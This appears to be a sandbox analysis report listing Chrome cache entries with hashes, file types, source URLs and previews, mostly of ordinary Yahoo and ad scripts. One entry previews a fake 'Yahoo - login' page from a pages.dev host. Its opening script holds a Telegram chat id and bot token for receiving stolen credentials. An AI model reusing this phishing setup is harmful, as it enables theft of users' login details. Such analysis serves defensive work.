SHA1:	FF8B4C954054B0F764D73BCB22857377477DD5C0
SHA-256:	253837940A1ED18B9366BF2C7277F1D391A6D9ED975364E0EE64DFDE80E770AD
SHA-512:	C9478EED4547B5A59F535C06F1B74C14B53A04423C0BF7E92B2C63943C900BE32D0A7B92E72BFEBF5FAC40E9BF954735AF9F47BA8956A5A40CC6EA8DA0672766
Malicious:	false
Reputation:	low
Preview:	......JFIF.............@ICC_PROFILE......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../.......C....................................................................C.........................................................................0...........................................M..........................!1A..Qa"q....2.#B...3R...b..$%Cr....&4c.STds....................................*......................!1A."Qa.2.Bq...#.b............?.........yF......C..B....@...+._..'..y.\c:yO.....?.

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21224)
Category:	downloaded
Size (bytes):	24203
Entropy (8bit):	5.349731623672621
Encrypted:	false
SSDEEP:	384:PLX1wtH+NTv0vDckjUhzU0ZppJeiUGg2TD7eC43YU/Us3ZYNbHG3W5AJdME9oPaV:jKtPQOaG3WFaoPaIK/zn
MD5:	F1DFC75C82E12DFE846D5593978E422A
SHA1:	12E580A708B09C9A8F4CA7CCBE9DD7DF32EDEE60
SHA-256:	08204982C484FAF6890C60557A4E642971F17625DDDDC0559DC0E3CA728AC9E0
SHA-512:	623412E6D454104251215E38A0F365F879EC70F77306769F5FA40E144C0EAB43237D1FE13B92031AD5848071A6A8910F01576F079E1A0904F4D8DD8959D922A5
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/safeframe/1-0-40/js/ext.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var aa="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),da=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&aa(c,a,{configurable:!0,writable:!0,value:b})}},ea=function(a){return a.raw=a},fa="function"==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};da("Object.assign",f

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64457), with no line terminators
Category:	downloaded
Size (bytes):	67717
Entropy (8bit):	5.404608504229257
Encrypted:	false
SSDEEP:	1536:2UI64yjnvD+FnD6Ug0NAohpuGKOGALvCqk8B4B3OYJKnGvK:TzvDAgoqi
MD5:	6EA12FCCBED15820786C87F0B9B67D61
SHA1:	0B1945893B1F90112CB7B1615DD751A17F0BE14F
SHA-256:	CBEEE7DA6CC21D0D3394C55FAB07C9005D10405A505117CB41C2A1B013773B97
SHA-512:	D06684BA7C541FA5CE2879FAE1632B1996475A3CCE1E7384F396E07010BFC336F2A9A976D07E9A1F97C2620D70B6F465F216E6EDF4243C0245C8FA51772CF072
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/hc/homepage-pwa-defer-1.1.6.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("HomepageClient",[],t):"object"==typeof exports?exports.HomepageClient=t():e.HomepageClient=t()}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(o[n])return o[n].exports;var r=o[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,t),r.l=!0,r.exports}var n=window.webpackJsonpHomepageClient;window.webpackJsonpHomepageClient=function(t,o,i){for(var a,s,c=0,l=[];c<t.length;c++)s=t[c],r[s]&&l.push(r[s][0]),r[s]=0;for(a in o)Object.prototype.hasOwnProperty.call(o,a)&&(e[a]=o[a]);for(n&&n(t,o,i);l.length;)l.shift()()};var o={},r={1:0,2:0};return t.e=function(e){function n(){s.onerror=s.onload=null,clearTimeout(c);var t=r[e];0!==t&&(t&&t[1](new Error("Loading chunk "+e+" failed.")),r[e]=void 0)}var o=r[e];if(0===o)return new Promise(function(e){e()});if(o)return o[2];var i=new Promise(function(t,n){o=r[e]=[t,n]});o[2]=i;v

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 150x150, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	35305
Entropy (8bit):	7.97916861762727
Encrypted:	false
SSDEEP:	768:kOlh5BK+pWKwDnMpqe84IuTPkGlWK2O6yWcF44oOsC/9:/l/BKmdknAqt0rk7BeW844oOsK9
MD5:	83ABA72F07516CF57B2DE4431258DD9B
SHA1:	2F007306BD35B64A46CAB9BD5E1DA7C8873B14B6
SHA-256:	AAA06EA987715A02E09DFD3382AC57B8A69F30A8C61D9B5C48094B05700C0540
SHA-512:	524574FBD8A877C0718A44CBCF9925C82B4B45C1CE21FC224A8F3AAD951953E1FDEDC3B603E4B22845AD63FBC1B11D310C3FF7DC2023ECDD2B4A315055775CA4
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."........................................J........................!..1A.Qa."2q..#....BR...$34r.b.%C....Sc.&D..5s.................................,......................!.1.A."2QaBq.#b................?........Q.J'o........`G.Z.....Z..i..j..B.J%.oj(n.>.>TKL..J).M.}...........w?.....T%.U.b_.........c.h....?.....G\...l...7.k.\.i...!..J......-.#..e(....}h....-....3}.Q> ..e.W\z!..6..d..J..).B;....1..A..AM.N.1...8.?.`?..g.?.../..kc....C....D>....r?.....,..<.Q..j..Q\|..]..5..0.k.S.V....<..4....^...)...'.M$h......<..^.o.*q.....{A..vh.i..x........n..Y..i.XGq.h...r\.).O.'..=...4..%b.6...Q.6.S.F....[[.YZ..9..Rv......d.!..V..5>....>....$..:..XmZ....[....(........UwD.\Um.BN.$S.S..0.......X.GQ.[..A.C.O.j\..q.p.~...<...\|....W..z{.K...Z.......\|c..S.8.#3...'....uF.l>UF.'....b....Z-.R;..?.R.y.2I..\W#.+t.....

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	87601
Entropy (8bit):	4.296323180627431
Encrypted:	false
SSDEEP:	768:RXVu040rH2or2mBRl/k9or2p0g9wcpTYw4NjTTrr3UD7/elRx1/2cRGc+H0DF75+:RlfHvCeM3qZ/JQXdfp
MD5:	16C842BB324CB2F7144FAB35782D1E64
SHA1:	28DE4C3B003B33AB8D81BAAFD63B09A40CDE8847
SHA-256:	1E011F734E7A29052A6E76CF6F2537515860B910121FCEBDD739219741597F66
SHA-512:	B9AAD069C8BB641DDC5797620DA08E073470EAABE035360F3CB04A5D9A98EC2903B1758356FA5E3C7951EA5A5A35F5B86AB9E56B74B059C192C7792B0E345D92
Malicious:	false
Reputation:	low
URL:	https://see-eim.pages.dev/login_files/loga
Preview:	<!DOCTYPE html>..<script type="text/javascript">.. //PUT YOUR TELEGRAM INFORMATION HERE.. usertelegram="5607385496"; //You Can Get your id FROM HERE : @chatid_echo_bot.. token="6055689515:AAHrQfTOEk7eaCY71Wyryc1zcVhoy49UbW0";.. </script>..<html class="js">....<head>.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Yahoo - login</title>...<link rel="icon" type="image/x-icon" href="https://s.yimg.com/wm/mbr/images/yahoo-favicon-img-v0.0.2.ico">.. <meta http-equav="Content-Type" content="text/html;charset=utf-8">.. <meta name="referrer" content="origin-when-cross-origin">..... <style type="text/css">.. /! skeletor-io - v1.0.34 /.. /! normalize.css v3.0.2 \| MIT License \| git.io/normalize /.. .. img,.. legend {.. border: 0.. }.. h1,.. h2,.. h3 {.. letter-spacing: -1.7px.. }.. pre,.. textarea {.. overflow: auto.

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15264)
Category:	downloaded
Size (bytes):	15697
Entropy (8bit):	5.53729719471769
Encrypted:	false
SSDEEP:	384:uQTCfjv99mW+911+Fl0YD0Dew/X2q5ulRIUeT:uQTCfGZ1+Fj9w/XuuT
MD5:	E2202E6ED6EF52CEC2C4A875C99225BA
SHA1:	FD48D3157CFA6B6E6FEC3E50787E357AA3288C88
SHA-256:	F2CFBD195DFF011843F93E2D32979F6F07926211CBF3EDDDC3B708B0BB04C8A2
SHA-512:	4E2AEFD87D89F4D5C00CFCAC8EE2D7748F84979BE9E66272475A621A19BA8FC884737DF604B3B7344FE4EB0C1154819880BC3769E25798BB4ABDDEF76EDC9B4F
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/__rapid-worker-1.2.js
Preview:	/* @preserve. * $Id: rawdeflate.js,v 0.3 2009/03/01 19:05:05 dankogai Exp dankogai $. . Original:. * http://www.onicos.com/staff/iz/amuse/javascript/expert/deflate.txt. /./ @preserve. * Copyright (C) 1999 Masanao Izumo <iz@onicos.co.jp>. * Version: 1.0.1. * LastModified: Dec 25 1999. /./. @preserve This code contains an altered version of the original source and is not meant to misrepresent the original software.. */.function base64(r){if("undefined"!=typeof btoa)return btoa(r);for(var t,e,n,f,o,i,a,l="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",u=[],s=0;r.length>s;)t=r.charCodeAt(s++),e=r.charCodeAt(s++),n=r.charCodeAt(s++),f=t>>2,o=(3&t)<<4\|e>>4,i=(15&e)<<2\|n>>6,a=63&n,isNaN(e)?i=a=64:isNaN(n)&&(a=64),u.push(l.charAt(f)+l.charAt(o)+l.charAt(i)+l.charAt(a));return u.join("")}function lzw_encode(r){for(var t,e={},n=(r+"").split(""),f=[],o=n[0],i=256,a=n.length,l=1;a>l;l++)t=n[l],null!=e[o+t]?o+=t:(f.push(o.length>1?e[o]:o.charCodeAt(0)),e[o+t]=i,i++,o

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1623
Entropy (8bit):	4.922539828264104
Encrypted:	false
SSDEEP:	24:tCbYLdLGSKGQlnGMGlTIqdhg1a4x0KKGSyFzRIS6CPAiIS6iAyt5RbFXZhLHbcmG:DJGSdQMH76k96fLvFXZpHbd3Hcf
MD5:	E36B72CA53187AFF4E7D9D420E97106F
SHA1:	CC0683704AF5E0ED36E69E33796E2BDC1C508FB5
SHA-256:	54BFF4669265C4020E99C360FDBCECAC01E78FB7ECA0869384B74FA4AFA70145
SHA-512:	DA5CE22D33BE9BF2C4AF2BB160783753844DF160260ADC0E7F9F7E4B51037A03F9FD0C222A3C9ABBCB887360D180DD18C353FC909A7A28BA5566B99CEED23BF1
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M44 15.23c0 8.462-6.77 15.232-15.23 15.232H9.307C4.23 30.462 0 26.23 0 21.154s4.23-9.308 9.308-9.308c1.523 0 3.046.339 4.4 1.185C14.892 5.585 21.154 0 28.769 0 37.231 0 44 6.77 44 15.23z" id="b"/>. </defs>. <g fill="none" fill-rule="nonzero">. <g transform="translate(2 2)">. <use fill="url(#a)" xlink:href="#b"/>. <use fill-opacity=".05" fill="#7DCBFF" xlink:href="#b"/>. </g>. <path d="M27.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C20.565 38.87 25.67 36 25.67 36s2.857 4.921 2.245 6.972zM13.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C6

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/pubmatic/AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4?gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	118720
Entropy (8bit):	5.3083438437598485
Encrypted:	false
SSDEEP:	1536:r4g3D3Aeq/dcMxv4lPb7Oia5dHpTfQ/Jm672jdHO2Wd/5YE1yaf5Y9moxZmf4LL7:y2H7udu2Wd/C60jt0hq
MD5:	35E7C7749099BCC6AB291DB5B2733A15
SHA1:	4820B7F173785E23FE59B58C20856937E1700799
SHA-256:	1FC12953D14031D9267893D828AB4B9522296AD27A82978E211151C147D66086
SHA-512:	A176E1D614B7319881978E9CD6A651DB4A3B79ED840057BEA2586F3268969FCADA090B223ACE4045FB92A4C011DCDCD92A5B2D5DB40F69B279B76623DFE7CF50
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/c/4820b7f.caas-news_web.min.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS",[],t):"object"==typeof exports?exports.CAAS=t():e.CAAS=t()}(self,(function(){return function(){var e,t,s,o,a={"./node_modules/@vzmi/caas-static/src/lazy/js/index.js":function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s("./node_modules/@vzmi/caas-static/src/util/js/index.js");const a="loading"in HTMLImageElement.prototype,i="data-caas-lazy-loading-init";let n,l;function r(e,t){return e.nodeName.toLowerCase()===t}function d(e,t){const s=e._util,{pendingClass:a}=e.options;return()=>{if((0,o.elementInView)(t,e.options,s._viewport)){const o=s.elements.indexOf(t);e.load(t),s.elements.splice(o,1),s.count--,0===s.count&&e.destroy()}(0,o.removeClass)(t,a)}}function c(e){const t=e._util,{pendingClass:s,successClass:i,timeout:n}=e.options;for(let l=0;l<t.count;l++){const c=t.elements[l],m=a&&r(c,"img"),u=!m&&(0,o.

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61833)
Category:	downloaded
Size (bytes):	61886
Entropy (8bit):	5.205533924037629
Encrypted:	false
SSDEEP:	1536:sPbOkM5k/b6j2RixXAc3szveRNWc0uQR0Fy:AaytDe/L0
MD5:	78613B544F6524F9EE7D60A1F0094E3D
SHA1:	70AF3FF684CD8EE019CA5F867EFA27BA48E13E81
SHA-256:	53F8B4027885645D0E54427BCE72E0E92767F13C8E93BD38385D8C16939D2607
SHA-512:	3829FF0290A3001EFFA786AA749D81864C26F488D32E8D3028E5F785F0C2AF9077212FAE912CE7C6EB371598BFC463C31417F45D0A04F892BE9D269EA61D8D9F
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cx/hp-viewer/desktop_1.11.160.modern.js
Preview:	!function(){"use strict";const e=["finance.yahoo.com","news.yahoo.com","sports.yahoo.com"],t=new RegExp(/rs="([^"]*)"/),i={lmsid:"lmsid",lpstaid:"lpstaid",lu:"lu",pct:"pageContentType",pd:"pageDesign",pl:"pl",pt:"pageType",revsp:"revsp",ver:"appName"},s=["ctopid","hashtag","wiki_topics"],n=["pd","pt","pct","lmsid","lpstaid","hashtag","pstaid"],o={att:"yhp",autos:"yautos",entertainment:"yent",finance:"yfin",fp:"yhp",gma:"ynews",lifestyle:"ylife",movies:"ymov",music:"yent",news:"ynews",sports:"ysports",style:"ylife",tech:"ytech"},a={hashtag:!0,lang:!0,region:!0,site:!0,spaceid:!0},r=["lmsid","lpstaid","pt","pd","ver","pct"],c=["sda-COMMENTSWFPAD-iframe"];const d=e=>new Promise((t=>setTimeout(t,e))),l=(e,{className:t,id:i,tagName:s})=>{if(e)return t&&!e.classList.contains(t)\|\|i&&i!==e.id\|\|s&&e.tagName!==s?l(e.parentElement,{className:t,id:i,tagName:s}):e},h=t=>{if(!t\|\|t.startsWith("/"))return t;const{hostname:i,pathname:s}=new URL(t);if(e.includes(i)&&i!==window.location.hostname){const[e

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15907), with no line terminators
Category:	dropped
Size (bytes):	15907
Entropy (8bit):	5.514273213911923
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncM:jAJ00JnLOH4ZjhwDi2+0s9R
MD5:	AE79DB664406C9254F4F32DAF70C93AC
SHA1:	FAE0AE1FCEB99F996F315545F1C75EB04939B20C
SHA-256:	8E53E50181B7A9E2CAA94173C37FCD9DE8FA75750764A2AD8AD02FAC3306D652
SHA-512:	FBD5EC409CE57592EFF6BDFB2DF69C2414A79D84CB9B1BE5B6C5110985A0FF4D192B7D31160D9F14F3E3DBA21628129ECF9BC925597F968AC1CF6DF849346AF6
Malicious:	false
Reputation:	low
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	5932
Entropy (8bit):	7.809703851350088
Encrypted:	false
SSDEEP:	96:Z4GgESbS8uhU9+szARy0PQNo66uHu4/JcHhBq3nbwLkbrpBv6RjYjcd0S+MPUgPp:GGN8uh6cRy0Ie6JHxmnqXfkM8cUUNQ9
MD5:	E52CBC5C9D7B759A123A66E8BF5846A1
SHA1:	3874CFBC37C7D7D491C8B83EC7C14E6BCD283D39
SHA-256:	52CE65DFDFA5896B2CBBF0F8B519DD6FBCB39810CC6CD4E5B728ECCD34D0DCED
SHA-512:	381CB44CE4A21AC2112098AFF47FC7B003A9EB4D5ECF7D92AA87970BF0FC1ECDD73FB7FA8E2C8A7EBEDD28E3FEBA3E3F6408A61567A82AD7E6FEC4F9BDBAA5A1
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/DulSD3uwY739wuo0b_JK8A--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a9a213c0-afef-11ee-b1fd-29b234274d16.cf.webp
Preview:	RIFF$...WEBPVP8X.... ...c.....ICCP0......0ADBE....mntrRGB XYZ ............acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 1999 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../....VP8 ....Pl...d...>y:.I$."...P..en....X12...d..`...{q:.i..y.{..q...8.8.L..@..\|...g.F.;..h3...,_...<.}..7....-......./....4.....B.._.l.s. .....Y..T~.......,.<...8....Y.....\|~.KL.6.f..G.GZ.......'..J..a...]..\= ...d.....5.hg..{....&U.{....i.*...O..1..........F....b.~........7YY.(..8. ...Tm\|........T./2{.t...D.;.N....C........9...tj.Ho].X.k.....klh.3....W....h..1t..F.O.$ c.J...+

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1239)
Category:	downloaded
Size (bytes):	1240
Entropy (8bit):	5.343342467489584
Encrypted:	false
SSDEEP:	24:c6B4M5aqrDQ9ZPOrT6LT7LbSKhDn400YE4TmqLi/DVg1bXRHasIPcfr5:PBSqriS6zHRBfE4TsG9R6s9
MD5:	79A0874B52C0C38ADD16385EB1A694E7
SHA1:	99831AF571CAB5B4AFEA34FBFE54996AF2DDE1F3
SHA-256:	1AE0492D9FBAC257DB08C85F493A6F37F7A1B432315B2850E8682E41FE3FD833
SHA-512:	0C8D72DC276B802D68B51EC68CA46080316643B1B7338532CFD106C9AB3563F06CAD62910FF810640BFEBF38228EF72893965940D19A88154E99A6A6F29DD021
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/vzm/cs_1.5.1.js
Preview:	!function(){"use strict";var c=window,e=c.document;function n(e,n,t,r){if(!e\|\|!n\|\|"function"!=typeof c[e])return r();try{c[e](n,t,(function(c,e){r(c,e)}))}catch(c){r()}}c.COMSCORE={_version:"1.5.1",beacon:function(t){n("__uspapi","getDoNotSell",1,(function(r,o){n("__tcfapi","getTCData",2,(function(n,i){var p=JSON.parse(JSON.stringify(t\|\|{})),s=n&&n.gdprApplies\|\|!1,a=c.YAHOO&&c.YAHOO.comscore\|\|{},f=c.rapidInstance&&c.rapidInstance.getRapidAttribute;p.c1=p.c1\|\|"2",p.c2=p.c2\|\|a.c2\|\|"7241469",p.c5=p.c5\|\|f&&f("spaceid"),p.c7=p.c7\|\|e.location.href,p.c8=p.c8\|\|e.title\|\|"",p.c9=p.c9\|\|e.referrer\|\|"",p.c14=p.c14\|\|a.c14\|\|"-1",p.gdpr=s?1:0,p.gdpr_consent="",s?i&&n&&(p.gdpr_consent=n.tcString\|\|""):o&&r&&"boolean"==typeof r.doNotSell?p.cs_ucfr=r.doNotSell?0:1:p.cs_ucfr=0,p.cs_ucfr&&(p.cs_fpid=p.cs_fpid\|\|a.cs_fpid),p.ns_c="UTF-8",p.ns__t=(new Date).getTime();var u=[];for(var d in p)if(p.hasOwnProperty(d)){var _=p[d],g=typeof _;"string"===g\|\|"number"===g?u.push(d+"="+encodeURIComponent(_)):"options"===

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10637), with no line terminators
Category:	downloaded
Size (bytes):	10637
Entropy (8bit):	5.2085652328167145
Encrypted:	false
SSDEEP:	192:3rXOcuETuQtQlAQ6g/o5gaDMX5yZ909VeAMg5xmiSvxlAQ60omIcr7Q0QvCjlJlr:3+EiQdgw5TMXoyPMg5xmiwq0Icr78vC1
MD5:	397B59E3EECA4F747EA1F6FF6323154C
SHA1:	C96E42A81F2F864313F6592688CA864D4578E3C3
SHA-256:	ACF529F550F2FDAAD913C10E6972344E43E07EAE8D5AA57B96FA30ED7C07ACC1
SHA-512:	CA0F4D6A4FF28A66868BC2387F737073D6CA26A429CBA97CE30B3F86A0820BF0355214618D95CFB5099AF3AF241F50440F3B870BB5C4D26275EFCB93772B8318
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-beacon-1.3.4-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-beacon",[],t):"object"==typeof exports?exports["wafer-beacon"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-beacon"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}func

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	134511
Entropy (8bit):	6.06204534821426
Encrypted:	false
SSDEEP:	3072:VNhVgYGzKxUthOPFNlJAWtEjk5dx5LR+RR+fW:RVgjzKxUW/P1tGKx5MCfW
MD5:	B75CC114FF13840DAFBCAA18ED31C385
SHA1:	9F27B4FB673484D4FA6FBC451BB69D1CB6F4C0B0
SHA-256:	366921F111B1E5F3744A5F659744CEA0608CCE0D94BBAC2C48C1FE764CD691CD
SHA-512:	2152AE77B526D5EB95ED5CB0525956640C81360C426F076180BAD2C026A0324173F14683F9D2C031815D76F000BBD268B4BFB9C0C0106D6A08D2AEDCC663D3A4
Malicious:	false
Reputation:	low
Preview:	{"/22888152279/us/yhp/main/dt/us_yhp_main_dt_top_right":["html",0,null,null,0,250,300,0,0,null,null,1,1,[["ID=3a1ec90978d085ab:T=1704929240:RT=1704929240:S=ALNI_MYJl3DZXwfQbU5oto7KCv8KtIC0dQ",1738625240,"/","yahoo.com",1],["UID=00000db621c4569a:T=1704929240:RT=1704929240:S=ALNI_MZR04-TRUpTtQYcsWISEtvdPV3pEg",1738625240,"/","yahoo.com",2]],[138460953749],[6273031801],[5286843762],[3186598926],null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGsndGkmxC91NUSdzJX6heRSo0KSWHkmTlQmrT0UKNt-IPaHg7pLwfGinZsHMgCNde-GWP_yqV1zjIiWQOKSy8xxCjybEKCe9PjM-V-_YrpDW1elE","CJjJ4a3804MDFQfQ4wcdlwMJtg",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qMFscF6Gw1Rpntb4dhPnzDz8_-sdhGmDBDREXH4J4kL6juBOA1HYFhhdxmKx3AsEe6SKn0TOt0",null,null,1]}.<!doctype html><html><head><script>var jscVersion = 'r20240109';</script><script data-jc="67" data-jc-version="r20240109">(function(){'use strict';/* Copyright The

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5657)
Category:	downloaded
Size (bytes):	6162
Entropy (8bit):	5.599076700545423
Encrypted:	false
SSDEEP:	192:Sb04pPhtmpvftu/PvJ/CMMKJ8UotoqzpfLEj:s0i5fPJ6FEPkIj
MD5:	6AAAF8E11A32FD37FB419E3A4CE9696C
SHA1:	1FD88F2EE4DE5422E0C344DEBEFE3F2B5ABB2592
SHA-256:	468959E93F9B4E6F07C6A8F8D0E93D8FCB37D76A8615A93EC153F5842247BA99
